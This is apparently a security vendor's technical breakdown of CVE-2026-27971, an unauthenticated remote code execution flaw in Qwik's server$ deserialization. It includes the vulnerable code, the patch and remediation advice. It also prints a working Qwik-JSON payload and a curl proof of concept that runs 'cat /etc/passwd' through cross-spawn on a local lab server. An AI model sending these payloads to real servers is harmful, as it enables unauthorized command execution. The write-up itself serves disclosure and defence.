Security

CVE-2026-27971 : Qwik server$ Unauthenticated Remote Code Execution

A technical breakdown of CVE-2026-27971, a CVSS 9.2 critical unauthenticated remote code execution vulnerability in Qwik (< 1.19.1). Unsafe deserialization in the server$ RPC flow allows attacker-controlled QRL objects to be reconstructed from application/qwik-json requests, enabling arbitrary module path and symbol resolution and, where require() is available,remote code execution via crafted server-side function invocation.

Wed 01 April 2026

CVE-2026-27971

Qwik server$ Unauthenticated RCE via Unsafe Deserialization

March 12, 2026 · CVSS 9.2 Critical · Qwik < 1.19.1

CVE ID CVSS Affected Fixed
CVE-2026-27971 9.2 Critical < 1.19.1 1.19.1+

CVE-2026-27971 Overview: RCE Through server$ RPC Deserialization

Qwik's server$ RPC mechanism accepts application/qwik-json requests and deserializes attacker-controlled objects into live runtime values. In vulnerable versions, this deserialization path can reconstruct a QRL that points to an arbitrary module path and symbol name. If the server-side runtime still has native require() available, the framework's server import path can be abused to load attacker-chosen CommonJS modules and invoke exported functions with attacker-controlled arguments.

The issue affects deployments where the vulnerable server-side server$ flow is reachable and require() is available at runtime. This is fixed in Qwik 1.19.1, where the server import path no longer performs lazy dynamic imports for untrusted QRL input.

In practical terms, a remote unauthenticated attacker can send a crafted POST request to:

POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync

and force the server to resolve:

./node_modules/cross-spawn/index#sync

This turns the request body into a remote function call to cross-spawn.sync(...).

CVE-2026-27971 Unsafe server$ Resolution: From Qwik JSON to require()

The vulnerable behavior is easiest to understand as a three-step chain:

1. The request body is parsed by Qwik's `_deserializeData()`
2. A deserialized QRL object is treated as a legitimate `server$` function target
3. The server import path resolves the attacker-controlled chunk via `require()`

The Request Gate

The server-side gate is straightforward. If the qfunc query parameter, X-QRL header, and Content-Type header line up, the request is treated as a server$ invocation:

if (
  fn &&
  req.headers['x-qrl'] === fn &&
  req.headers['content-type'] === 'application/qwik-json'
) {
  const data = _deserializeData(body);
  if (Array.isArray(data)) {
    const [qrl, ...args] = data;
    if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
      const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
      const result = await resolvedFn.apply(null, args);
    }
  }
}

This is not a conventional JSON API. The attacker is not sending plain function names and arguments. They are sending Qwik's serialized object graph, which rebuilds a live QRL object during deserialization.

Why the Payload Works

The core malicious payload used in the lab is:

{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}

After _deserializeData(), that becomes:

[
  qrl("./node_modules/cross-spawn/index", "sync"),
  "id",
  []
]

So the runtime ends up calling:

crossSpawn.sync("id", []);

The Dangerous Import Path

The vulnerable server-side resolution can be reduced to this:

async function importSymbol(url, symbolName) {
  let modulePath = String(url);
  if (!modulePath.endsWith('.js')) {
    modulePath += '.js';
  }

  const mod = require(modulePath);
  return mod[symbolName];
}

The problem is that url and symbolName originate from attacker-controlled serialized input. Once deserialization reconstructs the QRL, the attacker controls both the module path and the export to invoke.

CVE-2026-27971 Proof-of-Concept: Achieving Remote Code Execution

To validate the issue safely, a local Docker lab was built with the following setup : qwik-vuln on 127.0.0.1:3000 using @builder.io/qwik@1.19.0

Testing Setup

  • docker-compose.yaml
services:
  qwik-vuln:
    build:
      context: ./vulnerable
    ports:
      - "127.0.0.1:3000:3000"

Exploitation

The following curl command achieves Remote Code Execution by manually delivering the serialized Qwik-JSON payload to the vulnerable endpoint

curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'

Result

The vulnerable container returned:

Remote Code Execution using curl
Figure 1: Remote Code Execution using curl

This confirms remote execution of cat /etc/passwd through the deserialized server$ call chain.

CVE-2026-27971 : Nuclei Validation Template

For local template validation, an id-based Nuclei template was created:

Nuclei template detection validation
Figure 2: Nuclei template detection validation

Vulnerable Target Validation The vulnerable lab satisfies the expected conditions:

  • HTTP 200
  • application/qwik-json in the response headers
  • Command output matching uid=,gid=

CVE-2026-27971: The Fix in Qwik 1.19.1

The patched behavior removes the dangerous dynamic import path from the server runtime. Instead of resolving arbitrary chunks via require(), the server-side import routine fails closed:

async function importSymbol(_url, symbolName) {
  const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
  if (regSym) {
    return regSym;
  }
  throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}

That is the key security change. The deserialized QRL may still exist as data, but it no longer results in arbitrary module loading on the server.

Fixed Control Validation

The same nuclei template against the patched control:

Fix Control Validation using Nuclei
Figure 3: Fix Control Validation using Nuclei

returned:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Invalid request

Immediate Remediation

  • Upgrade Qwik to 1.19.1 or later
  • Avoid exposing vulnerable server$ RPC paths on runtimes where native require() is available
  • Review whether server-side adapters or custom CJS wrappers reintroduce dynamic module resolution

References

Resource Link
Github advisory GHSA-p9x5-jp3h-96mm https://github.com/advisories/GHSA-p9x5-jp3h-96mm
Nuclei Template https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27971